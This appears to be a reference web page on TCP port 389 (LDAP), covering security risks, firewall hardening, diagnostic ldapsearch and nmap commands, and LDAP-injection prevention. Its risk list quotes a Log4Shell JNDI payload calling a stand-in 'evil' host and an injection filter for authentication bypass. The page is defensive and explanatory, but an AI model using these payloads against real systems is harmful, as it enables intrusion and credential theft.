Skip to main content
389

Port 389LDAP

TCP

Port 389 is the LDAP port for directory lookups – user authentication, group membership, and address book queries. LDAP on port 389 transmits credentials in cleartext including bind passwords. Use LDAPS on port 636 or STARTTLS on port 389 for any production directory service.

Port Number

389

Protocol

TCP

Service

Lightweight Directory Access Protocol

Range

IANA Well-Known (0–1023)

Description

LDAP on port 389 provides directory access for authentication and authorization. Active Directory domain controllers, OpenLDAP, and 389 Directory Server all listen on port 389. Simple BIND operations on port 389 send usernames and passwords in plaintext unless STARTTLS is negotiated first. LDAP is the backbone of enterprise identity. Kerberos uses LDAP to look up user principals, RADIUS servers query LDAP for authentication, and email clients use LDAP for address books. Exposing port 389 externally enables user enumeration attacks – restrict to internal networks and use LDAPS (port 636) for cross-network connections.

Security risks

  • 1CVE-2021-44228 (Log4Shell) impact: many LDAP implementations (including Java-based LDAP servers) were vulnerable to JNDI injection via log4j – attacker sends ${jndi:ldap://evil/exploit} to trigger RCE
  • 2LDAP injection: unsanitized user input in LDAP search filters allows authentication bypass (e.g., (&(uid=*)(userPassword=*)) returns all users) and data exfiltration
  • 3Plaintext credentials: simple bind over port 389 without STARTTLS transmits usernames and passwords in cleartext – any network sniffer captures domain credentials
  • 4Anonymous bind enabled (default in many directories): allows unauthenticated enumeration of all users, groups, OUs, email addresses, and organizational structure
  • 5Pass-back attack: if an attacker controls a service that authenticates via LDAP, they can intercept credentials by changing the LDAP server setting to point to their own server

Firewall guidance

Port 389 should be accessible only from application servers that perform LDAP authentication and domain-joined machines. Never internet-facing. Require STARTTLS on port 389 (Active Directory: set 'LDAP server signing requirements' to 'Require signing') or use LDAPS on port 636 exclusively. Disable anonymous binds in production.

Diagnosis commands

Test anonymous bind (should fail if properly secured)

shell
ldapsearch -H ldap://dc.example.com -x -b 'dc=example,dc=com' '(objectClass=user)' cn -LLL | head -20

Test STARTTLS connection (-ZZ enforces TLS, fails if unavailable)

shell
ldapsearch -H ldap://dc.example.com -x -ZZ -D 'cn=admin,dc=example,dc=com' -W -b 'dc=example,dc=com'

Query LDAP root DSE (shows naming contexts, supported controls, server info)

shell
nmap -p 389 --script ldap-rootdse target

Test LDAPS certificate chain and TLS version

shell
openssl s_client -connect dc.example.com:636 -showcerts

Usage examples

Port 389 – LDAP
shell
ldapsearch -H ldap://dc.example.com -b 'dc=example,dc=com' '(uid=jdoe)'
ldapwhoami -H ldap://host -D 'cn=admin,dc=example,dc=com' -W

Common services on this port

Microsoft Active DirectoryOpenLDAP389 Directory Server (Red Hat)Apache Directory ServerFreeIPAAzure AD Connect

Related ports

History

LDAP (Lightweight Directory Access Protocol) was created in 1993 at the University of Michigan as a simpler alternative to the OSI X.500 DAP protocol. Port 389 was assigned by IANA. LDAPv3 (RFC 4511, 2006) added STARTTLS, SASL authentication, and schema extensibility. Microsoft adopted LDAP for Active Directory in Windows 2000 (1999). LDAP remains the backbone of enterprise authentication – nearly every corporate network uses port 389 or 636.

FAQ

LDAP (389) vs LDAPS (636) vs STARTTLS – which should I use?

LDAPS (port 636): implicit TLS from first byte, no downgrade risk, simplest to configure. STARTTLS (port 389): upgrades plaintext connection to TLS mid-stream, susceptible to stripping attacks if client doesn't enforce. Recommendation: use LDAPS (636) for all new configurations. Microsoft is deprecating unencrypted LDAP: AD will require channel binding and LDAP signing by default in future Windows Server versions.

How do I prevent LDAP injection?

Sanitize all user input before constructing LDAP filters: escape these characters: * ( ) \ / NUL. Use parameterized LDAP queries (available in most LDAP client libraries). Never construct filters via string concatenation. Example vulnerable code: '(uid=' + username + ')'. Fixed: use ldap.filter.escape_filter_chars(username) then '(uid={0})'.format(escaped). Also enforce LDAP query result limits (sizelimit, timelimit).

Specification

RFC 4511 – Port 389 specification →